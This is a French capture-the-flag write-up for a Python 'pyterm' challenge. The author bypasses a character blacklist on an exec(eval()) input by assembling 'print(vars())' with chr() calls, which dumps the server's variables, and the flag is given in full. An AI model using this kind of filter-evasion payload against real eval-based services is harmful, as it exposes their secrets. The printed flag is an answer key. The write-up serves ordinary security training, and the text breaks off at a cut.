pyterm
Catégorie: Misc Difficulté: Moyen Flag: CTF{c54f60751af79f92fd93a3a2f78eb2461e8ce614c879a1bb85fb1c0e32bd7ec3}
Challenge
Ce challenge tourne sur un docker et n'est pas disponible
Solution
Le serveur nous demande un input et effectue un exec(eval()) dessus. On le sait en essayant n'envoyer un nombre par exemple
Input code: 1
1
exec() arg 1 must be a string, bytes or code object
Certains caractères sont interdis mais il est possible de les utiliser via leur ASCII avec chr()
Input code: "i"
"i"
Blacklisted!
Input code: "chr(105)"
"chr(105)"
On va simplement print les variables définies. Pour ça on envoie la ligne print(vars())
en remplaçant le i
et le v
qui sont interdis :
Input code: 'pr' + chr(105) + 'nt(' + chr(118) + 'ars())'
'pr' + chr(105) + 'nt(' + chr(118) + 'ars())'
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7e5ee9e74b20>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': '/home/ctf/pyterm.py', '__cached__': None, 'flag': 'CTF{c54f60751af79f92fd93a3a2f78eb2461e8ce614c879a1bb85fb1c0e32bd7ec3}', '_': 'CTF{c54f60751af79f92fd93a3a2f78eb2461e8ce614c879a1bb85fb1c0e32bd7ec3}', 'code': "'pr' + chr(105) + 'nt(' + chr(118) + 'ars())'"}
La ligne 1 sert à enreg
Dernière mise à jour
Cet article vous a-t-il été utile ?